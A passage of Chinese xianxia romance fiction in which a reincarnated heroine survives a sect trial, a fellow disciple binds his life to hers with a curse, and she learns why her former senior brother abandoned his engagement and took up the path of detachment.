她悄悄拉住枝幸雨的手,示意对方交给自己:“回雨长老,是那人自己承认的,他以为我们必死无疑所以报出了自己名号。”
梨云梦注意到了她的动作,眉头微微一蹙。
“既然你们说遇到了魔教之主,那你们是如何逃脱的?要知道弥野性情阴狠残暴,遇上他绝无可能逃脱。”
雨长老说着眼神沉下,满是质问的语气。
涂茶呼吸加快。
这件事情,她要如何圆?
一个手无缚鸡之力的凡人如何在魔教之主手下全身而退…
涂茶抬头巡视一周,这满院坐着的其实都是她熟悉之人,甚至正前方的还是与她前世之死有关的南流景,照理说她此刻应该情绪复杂,慌张无措,但实际上,越是如此,她反倒越是稳重。
呼吸归于平稳,涂茶自然地看向雨长老:“雨长老,此事我想云第师兄已经汇报过了。”
嘴上说是云第,但涂茶视线却望向了梨云梦。
她在赌,赌梨云梦会帮她。
雨长老闻言看向云第,云第则看向了师尊梨云梦。
可他没有任何反应。
涂茶忍不住屏息,握着枝幸雨的手收回,藏在袖子里。
雨长老等不及了:“云…”
“是我出手救下的。”
梨云梦终于开口了。
众人立刻望向了他,低声议论,碎碎念念。
而涂茶站在院中,古树森森,盖住了她明亮的眼眸,只见梨云梦冷雾般的双眼望来,视线相撞,两人仿佛在一瞬间达成了一种默契。
“雨长老,是我出手救下她的。”
涂茶悄悄收紧了手,直到此刻,她才开始心乱如麻。
师兄,你认出我了吗?
17. 生死咒
“此话怎讲?”雨长老道。
梨云梦走上前,目光从她身上看向众人:“几日前,我勘测方天镜,感知到一股不同寻常的魔力出现在乌乌山,随即便派大弟子前去调查,并带去我的佩剑,这才机缘巧合救下两人。”
涂茶马上接上:“我看那人消散之前有一股黑气,我问了云第师兄,他说是分身术。”
“分身术?”南流景皱眉,看了眼雨长老,“这便讲得通了,分身术即傀儡技法,只是将一点灵力赋予在一个傀儡之上,操纵人五感相通控制其傀儡罢了,确实不算太大的威胁。”
众人听罢,也觉得如此,点点头,四下交谈几句。
院中,涂茶悄悄背着手,心下琢磨,分身术确实不足为惧,但弥野仅仅靠分身术就能将魔化的枝幸雨打得半死,看来这个对手不容小觑。
雨长老听完,虽仍有怀疑,可他也能看出今日这场审讯,宗主坐镇,决行神君相助,金行长老避而不见,这一切摆明了就是要不了了之。
他哪怕心有力,但也力不足。
“既然有决行神君作解释,此事暂且如此,但此女子…”雨长老话锋一转,犀利的眼神看向院中的涂茶。
枝幸雨他动不得,此女子他总要想办法斩除。
“此人来历不明,有诸多嫌疑,不仅使通灵木受损,下山还引来魔教之主,那弥野又为何前来神欲行?此中仍有许多问题,为了保住神欲行弟子的安全,为了宗门数年来的和平,宁可错杀不可放过,应将此人即刻拭咒除之!”
“不可!”
院中同时响起两道声音。
涂茶闻声,先是看了眼身侧的枝幸雨,再是看了眼前方的梨云梦,心下复杂,不知如何开口。
她要如何做,她此刻的嫌疑太大了…
正想着,忽然枝幸雨回头,涂茶下意识对上视线。
只见他给了她一个肯定的眼神。
她心一动,目光再没有移开过。
枝幸雨握着剑直直跪下,为她弯腰求情:“雨长老,此次下山是我疏忽,没有及时发现魔教之主的踪迹,才发生如此严重的事情,但我可以保证她绝无任何嫌疑,倘若她有任何问题,弟子枝幸雨甘愿受千寒戾阵,同她一起离开神欲行。”
“枝幸雨!”南流景闻言立刻站起身,指着他满脸厉色。
就连其他长老都神色一变,对枝幸雨如此冲动的行为议论不停。
“师兄…”涂茶望着他跪下的背影,心神震撼。
千寒戾阵,那是罪大恶极之人才要受得刑罚,受此刑罚便是要废除修为,枝幸雨为保她,甘愿废除修为,离开宗门,与她一起走吗?
涂茶忍不住蹲在他身边,小声劝道:“师兄,你不必为我如此,我不过是个流浪儿,倘若这里不欢迎我,我走就是了,不必为我如此。”
然而枝幸雨却侧脸望来,冷冽的眼眸下那一颗泪痣,像是烙印,呼之欲出的情愫在他眼中溢出:“我答应过你,我会保护你,我不会让别人伤害你,你也说过要做我的师妹,那就不可以反悔。”
说罢,枝幸雨抬手划破手腕,以血为咒,口中念诀,只见一道雪色的灵力围绕在两人周围,混杂着鲜艳的血,立下符咒,少年少女被阵法包围,涂茶眼眸睁大,不可置信地看着枝幸雨。
生死咒!
他愿意同生共死!
“不!”涂茶抬手,眼神制止。
其余人也露出震惊的神色,南流景甚至抬脚想冲上前破咒,但被人拦下:“不可!生死咒不可破誓!会即刻反噬的!”
一侧的梨云梦看着这一切,手中拳头默默收紧,呼吸沉重。
枝幸雨微微摇头,示意涂茶不必阻止他。
雪与血的灵力萦绕在周身,涂茶与他身上浮现出繁琐的咒文,如滚烫的烙印烙在身上,最后一道深深的咒符红线出现在枝幸雨脖颈,颜色鲜艳如血。
涂茶看着那道咒符,脸都白了,直接握紧他的手:“师兄!”
枝幸雨却轻轻一笑,漂亮冷艳的脸如山林鬼魅般,充满蛊惑:“别怕,红线系在我脖子,如果真的要死,只会是我死,我不会伤害你的。”
他疯了吗?!
生死咒本是双向的,可他却只下在自己身上,如此一来,如果她死,他也会死,但是他有危险,她却不会有任何问题。
这种霸道的咒术,他怎么能自顾自地下!
这回涂茶是真的急了,咬着唇,眼睛通红,她甚至想动用手里的灵力破誓,可偏偏生死咒不得阻断。
涂茶额间符咒一现。
生死咒已成。
两人身上咒符逐渐消散,红线慢慢淡去,却更像是埋进枝幸雨跳动的脖颈下。
他转身面向众人:“生死咒已下,倘若她有任何问题,弟子此身愿为她而赎罪。”
“你!”雨长老目瞪口呆,跌跌撞撞往后一退,坐在了位置,他看见少年坚决的眼神,半天不知道说什么好。
最后是南流景气急,抬手一挥,枝幸雨单膝跪倒在地,吐出鲜血。
“你昏了头!居然为了这样一个来历不明的女子,下生死咒相护!你枉为神欲行弟子,你辜负我们对你的一番苦心!你简直是大逆不道!背叛师门!你会后悔你今天的一番痴心付出,你会后悔的!”
南流景的话字字句句,震耳欲聋,仿佛恨极了,怨极了,眼中满是震怒和失望。
就连雨长老都说不出这样的话。
涂茶见枝幸雨受伤,心里瞬间燃起一团火,她扶着枝幸雨,直接抬起头骂道:“你算什么师尊!若是我,就算我的弟子要与天下为敌,只要是他心甘情愿承担的,我绝不会说一句话,你居然还伤他!”
南流景一怔,随即恨恨地看向她:“放肆!”
他手中一动,抬手一挥,一股凶猛灵气扑面而来。
涂茶迎面而上,手一动,似乎想要动手了。
“早就看你不爽了!”
砰——
空中两道灵气相撞,气流波动,涂茶抬手挡住。
待她再看去,梨云梦已经闪现在她身前,他替她挡下了。
“宗主,此人既然身份可疑,不如交给我,我的赤水剑需要一个八字相合之人来温养,此人与我有缘,我已算过,正是最合适之人。”
哪里最合适,涂茶眉头皱紧,他的赤水剑喜水,她体质偏火,明明最不合适。
梨云梦背过手,淡淡道:“不如,她替我温养赤水剑,我替众人看管她,直到一切真相水落石出,再放她自由。”
“这…”雨长老犹豫地看向南流景。
他仍旧愤怒,目光在涂茶与枝幸雨之间来回打转,眼神落在枝幸雨脸上时,少年神色坚定,抬手握住了涂茶的手,然后看着他,仿佛天不怕地不怕。
南流景恍惚间,闪过一个画面,最后呼吸一滞,乱了心神。
“那便交由决行神君,枝幸雨,你即刻随我回去。”
南流景匆匆说罢,转身愤而离去。
宗主既已下令,一切便到此为止。
众人逐渐散去,涂茶长呼一口气,压下她的怒火,然后转头查看枝幸雨的情况:“师兄,你怎么样?”
“我没事。”枝幸雨擦掉嘴角的血,轻轻摇头安抚。
涂茶见他神色无异,松了一口气,转念又想起刚才他下生死咒的事情,马上气得跳脚:“师兄,你疯了吗!
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你知不知道你在做什么?我值得你如此吗?”
枝幸雨嘴角露出一个极淡的笑,目光柔和下来:“我知道我在做什么。”
“知道?你知道什么?我…”涂茶简直不知如何是好,她接近枝幸雨动机不纯,一直都真心假意掺杂着付出,什么保护她,什么做师妹,都是随口说的,可她没想到,尽管如此,枝幸雨却认真了。
仿佛认定了,他就是认定了。
“涂茶,我得走了。”刚才师尊要他回去,他不能在这里久留。
“可…”涂茶觉得自己还有很多话想和对方说,她着急地拉住对方手,话到嘴边又说不出什么。
她要随梨云梦去梨别峰,他要和南流景去招摇峰,这次分开,一时半会可能很难再见,她还来不及说些心里话,怎么能分开?
一旁的梨云梦见两人依依不舍,脚步一动,忽然想到什么目光淡下,停住了脚。
枝幸雨知道她在想什么,他抬手指指她的心口:“你忘了吗?”
相思咒。
涂茶抿嘴:“我记得,可我想当面和你说。”
“这次可能来不及了。”枝幸雨难得如此温柔,他小心地握着涂茶手腕,低头又抬头,“下次见面,我们再好好说,好吗?”
“下次…是什么时候?”
“很快的,我会来见你,我能听见你的声音,能感觉到你的安危,我们不会分开太久的。”
涂茶皱紧了眉头,她哪里需要枝幸雨的保护,若是想走,她转身就走,整个神欲行谁都拦不住她,可此刻,她苦笑着叹气,竟愿意心甘情愿被关押。
“好,我等着你。”
梨别峰的景色雪白一片,涂茶跟着梨云梦回到他的庭院。
院子里的梨花树总爱落在她身上,像是为她而来为她而生。
梨云梦停住脚,哪怕背对着,他也能感觉到涂茶的兴致不高。
“他就是你的师兄?”
听见他问话,涂茶抬起头看着他背影:“是,我认来的。”
“你们关系很好?”
“嗯,他愿意相信我,保护我。”
梨云梦不再说话,他缓缓转过身,目光落在她身上。
或许是这样的眼神太黏稠,太沉重,涂茶哪怕想视而不见也做不到。
“神君,你为何护我?”
她的相貌身姿与前世两模两样,照理说应该认不出,可梨云梦总给她一种感觉,好像他什么都知道。
梨云梦闻言,并不作答,抬手一挥,手中浮现他的赤水剑。
“为此剑。”
胡扯。
涂茶微微一笑:“原来如此,看来我还是很有用处。”
“今日起,你便住在我的梨别峰,每日天光,你便打坐在梨树下,吸收日月精华,提升灵力,待到你灵力充沛时,以血喂养赤水剑,助我提升修为。”
“好。”
既然梨云梦什么都不说,那她也什么都不知道。
两人走进屋里,茶香淡淡,满屋的书籍古册。
她坐于软垫上,举起茶杯抿茶,一手翻着他未看完的书,一切自如地仿佛两人相识已久。
梨云梦则坐在不远处,虽看着书,心思却都落在她身上。
院外,梨花不停掉落,池水上花瓣飘荡,屋内,两人各自看着书,心思百转千回。
直到涂茶翻开一页,忽然开口:“神君为何修无情道?”
男子的手一顿,空气中那股茶香淡得发涩。
他翻开,回道:“红尘已无牵挂。”
“是吗?”
涂茶抬眸望去,让人心一紧。
“神君,可认识郁桃?”
18. 婚约
梨云梦手中的茶杯一晃,差点跌落在地。
他稳住手,不动声色道:“我想没有人不认识她。”
“我听闻神君与郁桃是师兄妹,是最了解她之人,不知郁桃若得知神君已遁入无情道,会作何感想?”
涂茶目光直直盯着他,带着探究试探的意味。
梨云梦翻着书,看不出什么,只淡淡答道:“她已不在,何必作猜想。”
男子的神情已然不再有分毫变色,他自顾自翻阅古书,发出沙沙声响,如一卷书画,融入四周景色。
涂茶既得不到答案,便无心再坐着,她站起身拱手:“打扰神君了,涂茶告退。”
说罢,她利落地转身离去,留下他一人。
花落又花开,待到院中梨花不再飘落,梨云梦才敢抬起头望向她离去的方向。
雾色眼眸露出隐忍的神色,他想,缄口不言,或许是他这一生的宿命。
清晨。
天未亮,梨树下便坐着一位少女,她静息打坐,吸收天地灵气。
其实修炼对涂茶而言,算不得什么难事,这具身体早已重塑,虽比不上前世,但也算灵根秀骨,是个修炼的好苗子,而且每日这样坐在梨树下提升修为,吸收灵力,反倒让她心神安宁。
这些日子她脑海中总是浮现南流景刺她一剑的画面,转念又想她是如何重生的?她的灵力为何还残留世间?天魔剑为何藏在枝幸雨的陶埙中?当年她的死又是怎么回事?为什么她有些事情不记得了?
诸多疑问一直盘旋在她脑海,让她有些疲惫,只能借助修炼让自己放空一会儿。
收掌,灵力吸入体内,涂茶深吸一口气,睁开了眼。
梨花落在眼前,她伸手接住:“这梨树怎么总是在落花瓣?”
涂茶站起身,拍拍身上的花瓣,她有些累了,抬头看向树干,一个闪现,就跑到了树上。
少女打着哈欠,懒懒躺在树干上,日光正好,树荫可遮盖,她要好好睡一觉。
“师兄!”
忽然树下跑来一位少女,她追着少年,两人在树下绕着圈。
“师兄,你再抢我的梨酥,我就不和你一起练剑了!”
闻言,少年马上停住了脚,少女始料未及,根本来不及停下,就这样直直撞进了他怀里。
“啊!”
少女似乎是撞疼了,揉着鼻子眼冒泪花:“师兄!你真讨厌!”
少女一跺脚就跑走了,少年见状,懊恼地追了过去。
树上,听了全程的涂茶睁开了眼。
她坐起身,双脚晃在空中,视线望向那对少年少女,思绪飘远。
年少时,她初入神欲行在弟子峰修习,那时候因为她出身不好,很多弟子对她多有排挤,时常练完回去没饭吃,她饿急了就跑到河边喝水,结果被人推进水里。
“救命啊!我不会水!救命啊!”
其实水不深,但她实在是饿得没力气,在水里翻腾几下更是手脚发软,岸边的弟子仰天大笑,指着她还施法让她起不来。
郁桃呛了好几口水,怎么也爬不起来,狼狈又落魄。
“你们在做什么!”
随着话语落,郁桃被一股力量浮起,她抹开脸上的水,才发现身下是一把木剑。
随后只听见岸上那几个欺负她的弟子惨叫一声,她一看,一股灵气将他们打飞老远。
“再让我看见你们欺负她,下次一定比这更惨!”
稚嫩青涩的声音传来,郁桃看向那个小小少年的背影,他回过头,眼眸亮亮的,笑起来很温柔:“别怕,我已经将他们赶跑了。”
那是郁桃第一次见梨云梦。
他和她一样都出身普通,只不过多学了几年,有些修为可以保护自己,他知道他们的身份在这里很容易被欺负,所以总是对她多有照顾。
有次节日,郁桃练剑练到天黑,等回去的时候才发现梨云梦等她等了一天。
“师兄,你等我做什么?我去练剑了,下回若是有急事你尽管找我就好了。”
梨云梦看着她,抿着嘴笑了。
他从怀中取出一包油纸,边拆边解释,声音轻轻柔柔的:“今日是元灯节,我和师兄师姐下山做任务的时候瞧见了这个,我想你一定会喜欢,但这个容易散,我怕颠簸让它碎了,所以就不敢走,想等着你回来。”
说着,他打开了油纸,露出那油黄精致的糕点。
“梨酥!”郁桃欢喜地大叫,满眼雀跃地看着梨云梦。
小时候她见别人吃过,吃这个能吃得满嘴酥,瞧着又香又甜,可她家里穷,从没尝到过,没想到师兄记住了,还给她买了。
“嗯,快尝尝吧,是不是你想的那个味道?”梨云梦往前递,见她开心,自己心里也开心。
郁桃忙不迭地塞进嘴里,果然吃得满嘴是酥,可她却觉得这样吃才对,只有这样吃才能吃得又香又甜。
“好吃吗?”
“好吃!”
她吃得满嘴都是,瞧着滑稽,可梨云梦却觉得心疼,他小心地替她擦去嘴角的酥,将油纸递到她下巴下面:“不急,以后我还会给你买的,师兄以后会给你买很多梨酥吃。”
“嗯!”
郁桃咧嘴一笑,那双眼眸在黑夜中亮得发光,让人怎么都挪不开视线。
年少的情谊也是在这样的日子里变得深刻。
自那以后,师兄每次下山都会给她带梨酥,等到她能下山了,也缠着师兄买。
她高兴了要吃,不高兴了要吃,师兄惹她生气了哄她要吃,师兄出远门分别了要吃,师兄远行回来重逢了要吃…总之她就是要这块梨酥,就是要师兄给她买这块梨酥。
明明一个东西吃多了总会吃腻,可她却不厌其烦地要吃。
直到十岁分别,她才知道,或许是因为往后的人生,她再也吃不到师兄买的梨酥了,所以才这样拼命拼命地吃。
梨别峰的梨花常年盛放,开了又谢,谢了又开。
涂茶想念的那段年少时光却是这样一去不复返。
“涂茶师妹。”
树下,不知何时过来的云第仰起头看向树上的涂茶。
她低下头,晃着脚回:“怎么了?”
“师尊问你,今日修习如何?”
“还可以,他教我的心法还不错,我差不多掌握了。”
“师尊吩咐,若是有任何问题都可去问他。”
涂茶脚一停,光影从树荫泄下,落在她肩膀,少女歪着头:“任何问题?”
“是。”云第点头。
“好。”
涂茶从树上一跃而下,身形轻盈,毫无笨重之感。
她拍去身上的花瓣,越过云第朝着屋里走去:“那我有问题找他。”
云第脚步跟上,涂茶头也不回:“你不许去。”<
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p>他脚一顿,正想继续跟,少女的声音远远传来:“云第师兄,你忘记你师尊的话了吗?”
云第微微皱眉思索。
“一切听我的吩咐。”
话音落,少女的身影已经不见。
云第这才想起,确有这条命令,他原地犹豫一阵,还是没有再跟上。
屋内,茶香淡淡飘荡。
涂茶绕着梨云梦的书柜一遍遍打量。
这几日,除却修炼,她什么也做不了,哪里也不能去,可若是如此,她怎么能查到当年的事情?
云第一向唯师尊之命是从,问他,他估计什么也不会说,问梨云梦更是问不出所以然。
所以她还是自己来查查看,看看这些书册里有没有记录当年之事,毕竟十二年过去了,她的事迹十有八九已经编入史册,她要仔细看看,书上是怎么记载的?
梨云梦的书多,什么类型的都有,涂茶一番查看,还真让她找到点相关的书册。
她翻开一本,上面果然记载了她的生平,涂茶快速掠过,着重看了看书上是怎么描述她的死。
“最后一战,郁桃被魔教之人刺伤,跌入悬崖,至此殒落。”
魔教之人…
涂茶皱眉,又翻了翻其他的书册,上面无一例外地写着,她是被魔教之人刺伤才死的。
可天魔剑残留的记忆告诉她,她不是被魔教之人刺伤的,她是被南流景刺伤的。
“为何书上要这样记载?为何要修改这段事实?难不成…是有意为之?”涂茶捧着书神情凝重。
从她做天下第一开始,她便是正道的一把利剑,为铲除魔教而生,她几乎是付出了自己的全部心血,全部人生,为何最后连一个死都要有所隐瞒?
当年她究竟是怎么死的?
真的是被魔教害死的吗?南流景为什么要刺伤她?她又为什么要选择自己跌落悬崖?
为什么想起这段残缺的记忆,她会无端地愤怒和不屈?
涂茶皱紧眉头,手中紧紧握着书籍,呼吸急促,心神不宁。
她需要知道当年的真相,她必须要查清楚自己身上的诸多疑点,她的死,她的灵力,她的天魔剑,还有…她的复活。
涂茶继续翻阅书籍,找来一些其他书,一字一句试图看到更多有用的线索,直到一句话蹦出,她的指尖一顿,停住了所有的思绪。
“决行神君与分霞神女婚约作废,分霞神女嫁与他人,决行神君神伤心碎,至此遁入无情道,断绝红尘是非。”
婚约作废…遁入无情道…断绝红尘…
这些字眼闯入涂茶的脑子,让她一瞬间乱作一团。
师兄什么时候有了婚约?分霞神女是谁?这个婚约为何要作废?师兄当真是为她断情绝念的?
“你在看什么?”
砰——
涂茶吓得书掉在地上。
她慌乱地转过身,撞见了梨云梦审视的目光。
“我…我在…我在看书。”涂茶支支吾吾憋出个理由,想起地上的书,赶忙蹲下收拾。
不想梨云梦也蹲下了身,指尖与她触碰到同一页。
正好是她看到的那一行。
涂茶视线不由落在那,那几个字就这样扎进她心里,叫她不能不去想。
“神君。”
少女的发丝落在身前,她抬起低垂的头,望着他敛下的眼眸:“你曾有过婚约?”
19. 误了
梨云梦的指尖微微一缩,随后捡起书合上,然后缓缓起身,越过涂茶将书放了回去。
“不过是往事。”
往事…那就是真的。
涂茶转身盯着他背影:“那为何又不结了?为何要作废?神君何时认识的分霞神女?为何我…”
她猛地止住嘴,再不敢开口。
梨云梦的背影就这样停住,手还扶在书上,两人之间的沉默不断蔓延,如同凝住了。
直到涂茶忍不住,再度开口:“神君,你为何要修无情道?”
这个问题仿佛对她很重要,她一遍遍地问,一遍遍暴露她的真面目,可两人之间又保持着心口不宣的默契,好像只要不开口,就可以一直装作什么都不知道。
他收回手,语气好似随口一提,满不在乎:“我说过,红尘之事再无牵挂。”
“因为分霞神女吗?”她追问。
梨云梦回过身,两人视线对上,涂茶毫无退缩之意。
“随你猜想。”
说罢,他从她身侧离开,走向桌案。
涂茶追了上去,她能感觉到梨云梦对她有所隐瞒和退缩,但多年相伴,彼此信任,她不愿意接受两人如今有隔阂和距离。
“神君为何总是左顾而言其他?难不成我的问题都回答不上吗?神君对我欺瞒太多,叫我如何信任神君?神君…”
“好了。”
面对她一再咄咄逼人,梨云梦似是忍不住了,他回过身,神色冷漠:“小小弟子,怎可过问神君之事?”
涂茶一愣,上前的脚步停下。
她怕是忘记了,如今她只不过是个与他毫无干系的陌生人,有什么资格过问?
可少女心有不甘,她抿着嘴,握紧拳头,看着他拒之千里一副冷冽无情的样子,心下酸痛。
曾几何时,他们之间会这样陌生?是因为身份吗?因为她如今的身份吗?
可他明明知道…但他就是有心推开她,为什么?
涂茶怒上心头,往后一退伸手一揖:“好,是涂茶僭越了。”
少女的声音清脆,此刻硬邦邦,带着显而易见的不悦。
“神君之事是涂茶多管闲事,往后涂茶会记住自己的身份,涂茶告退。”
说罢,涂茶头也不回,直接就走了,背影气冲冲,毫不掩饰。
屋内,梨云梦皱起眉,敛下眼中的神色,深深一叹。
“对不起。”
梨别峰的梨树几乎是漫山遍野,涂茶跑出院子,随便找了颗树指着骂。
“你了不起!你现在是神君,而我只是个小小弟子,不对,我连弟子都不算,我就是个无父无母的流浪儿,我不配问,我不应该问…你有什么了不起的!我告诉你,我生气了!就算你跪下来给我道歉我也不会原谅你的!”
涂茶说着,还嫌不够解气,对着树狠狠踹了一脚,结果飘落下满树梨花,弄得她满身都是,好不狼狈。
“烦死了!这梨树怎么一天到晚地飘!怎么老追着我飘!”
“涂茶?”
涂茶挥开挡眼的梨花,看向声音的来源。
“罗师兄?”
来人正是罗雀骨。
他瞧她满身花瓣,气鼓鼓的样子,忍不住笑出声:“你还有这么狼狈的时候?”
涂茶瞪了一眼他,灵气一震,缠绕她的梨花一瞬间被震开。
“干嘛对花发脾气?”罗雀骨笑着摇头,走向她,“你这进步挺快,这才几日,就有这样充沛的灵力了,看来决行神君教了你不少心法。”
涂茶这会儿可听不得决行神君这几个字,她哼了一声:“他不过是想我快点提升修为,好温养他的剑,有什么了不起,再说这些心法是我自己领悟的,他出什么力了?”
“那你还挺厉害,没修炼过就能自己领悟心法,莫不是天才?”罗雀骨自然不信,他抬手拍拍她肩膀,好生安慰,“好了,别生气了,谁惹你了?”
“谁?没谁,你过来干嘛?”涂茶才不想和他说。
罗雀骨笑笑,揶揄一眼:“脾气够大的,运气也够好的,听说你本来都要被刑罚赶走,一个宗门天才,一个决行神君,都护下了你,让你现在还能留在神欲行,你说说,你可不是运气好。”
“好?”涂茶挥开他搭在肩膀上的手,“好什么好?我现在被困在这里,哪里也去不得,师兄也不知道怎么样了,说会来看我,一直没来,叫我在这里干等。”
听她提起枝幸雨,罗雀骨叹了口气,涂茶听见皱眉:“怎么了?”
“他可不太好。”
“什么?!”
涂茶扬起眉毛,一脸焦急:“怎么回事?他出事了吗?”
罗雀骨点头又摇头:“我就是为这事来的。”
“他那日为你下生死咒,坏了规矩,宗主将他带回去刑法处置,如今…”
“如今怎么了!”涂茶着急,赶着话问他。
“宗主要他认错,要他消除咒术,他不肯,现在估计吃苦头了。”
听罢,涂茶急得来回踱步,她叉着腰,手腕上的铃铛响个不停。
“别转了,转得我头晕。”罗雀骨捂着脑袋,眼睛跟着她来回打转,嘴里还念叨,“你也是够行的,才认识多久,骗得人为你下生死咒,听说还是下在他自己身上,若是你出事,他可就性命不保了,真不知道你给他灌了什么迷魂汤,命都不要了。”
“你吵死了!”涂茶烦得大喊一声。
她何尝不知道?
枝幸雨以自己性命为担保,护她一命,这样冲动和冒险,她当时就想和他谈一谈,只不过没机会。
她也想过解除咒术,但这种咒术谁下的就得谁解除,否则都是非死即伤,所以她一直等着枝幸雨来找她,想解除生死咒,没想到…他怎么这么倔!
涂茶不停深呼吸,气过后又心疼。
他这样做,还不是为了她。
当时雨长老非要处置她,她又毫无背景,躲得了初一躲不过十五,上次侥幸逃了一劫,这次能靠谁?下次又靠谁?她身上的疑点不解除,伴随而来的就是长老阁无尽的审判。
枝幸雨想到了这层,所以用自己的性命和她绑在一起,如此一来,动她总要考虑他的安危。
罗雀骨见她神情变了又变,这会儿眼中满是愁容,于是拍拍她肩安慰:“好了,知道你急,所以我才来找你。”
“你是想我当说客。”涂茶一下就猜到他的来意。
枝幸雨再怎么犯错也还是宗主的弟子,前途不可估量,没有人希望他的命系于一个废柴的身上。
“既然你知道,我也不多说了,给他带句话吧,让他除了生死咒,你的安危如今有决行神君,一时半会不会出事,再者还有我,我会替你找找线索,看看通灵木是怎么回事,好早日替你洗刷冤屈。”
涂茶没接话,她伸手握着脖子上的鲁班锁,脑子里冒出个格外大胆的想法。
——真想杀进去,把人抢走得了。
可转念她又泄了气,这样做,她想要的安宁自由可就没了。
“好,我知道了,你替我带句话吧。”
涂茶将话讲完,罗雀骨便打算回去复命,转
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身的时候涂茶叫住了他。
“罗师兄。”
罗雀骨回头:“怎么了?”
日光下,涂茶透亮的眼眸如同琥珀般晶莹剔透,没有一丝杂质。
“你知道决行神君与分霞神女的婚约为何作废了吗?”
少女的话问得突然,罗雀骨一时没有反应过来,等回过神了,他拧眉想了想:“好像是…好像是因为郁桃。”
“郁桃?”这个回答令她有些意外,“与她有什么关系?”
“自然有很大的关系,你知道郁桃是决行神君的谁吗?那是他的师妹!你知道他们俩关系多好吗?”
“那是从籍籍无名到万人敬仰的一路相伴!”
才不是。
涂茶推开梨云梦的门,他手里捏着棋,在和自己对弈。
四周燃着淡淡的清香,混杂着一丝苦涩的茶味。
涂茶走近他,坐在了他对面。
梨云梦没有任何表情,仿佛对她的进出,对她的一切都是这样的自如和包容。
黑棋落下,他抬起手,缓缓将一碟糕点推至她面前。
涂茶低眸一看——是梨酥。
每次她生气了,师兄就会拿梨酥哄她。
可从她十岁起,她便再没有吃过梨酥。
因为十岁那年,宗门大试夺得头筹,她就被带回了内门修炼,至此与他分别八年,直到十八岁的那一年,梨云梦一路修炼从弟子峰走到了她身边。
耗费整整八年,他们才得以重逢。
原以为他们能如从前那般亲密,可八年后,他们不再是弟子峰一对普通的师兄与师妹,她是天下第一,他是执法司长,他们每个人背负了不同的责任和使命。
这些重担让他们无法再像过去那般自在洒脱,她要斩妖除魔,要匡扶正义,要奔赴沙场,她的脚步一直不停地往前跑,没有时间回头看一眼他,看看那段年少的时光。
而身份,地位,森严的阶级,不容置疑的规矩,也束缚着他们,让他们只能做天下第一与执法司长。
“好久没有吃过了。”
涂茶扯出一个笑,轻轻拿起一块。
他们已经很久没有这样坐着,吃着梨酥,看着彼此。
外人眼中的一路相伴实际上根本就不是这么回事,他们分离过,重逢过,最后那四年也只能远远彼此守望。
她咬下一口,酥皮掉落在桌上,还是记忆里的那个味道,可一切都不再是记忆里的模样了。
有谁来弥补他们那些错过的时光?
涂茶忍不住泛红眼,含着不再咀嚼。
梨云梦以为她噎到了,便伸手递来茶杯。
望着这杯茶,涂茶耳边回响起罗雀骨的声音———
“就是因为他们师兄妹关系好,郁桃神殒后,决行神君愿为她守丧三年,可分霞神女不愿蹉跎,于是她废除了婚约,嫁与他人,为此神君才斩断红尘,遁入无情道。”
是为了她。
眼眶的泪水打转,涂茶伸手接过茶杯。
他是为了她,才发生这样的变故。
梨云梦见她神色不对,忍不住露出担忧:“怎么了?不好吃吗?”
涂茶使劲摇头,将梨酥咽下:“对不起。”
梨云梦一愣。
只见涂茶抬眸,抬头的瞬间,眼泪滚落,砸在桌案,烫得他心口一疼。
“对不起,误了你的婚事。”
视线相撞,他的心骤然收紧,茶杯中的茶叶旋旋落入杯底,掩盖嘴角苦涩的笑意。
是啊,误了…她误了他的婚事。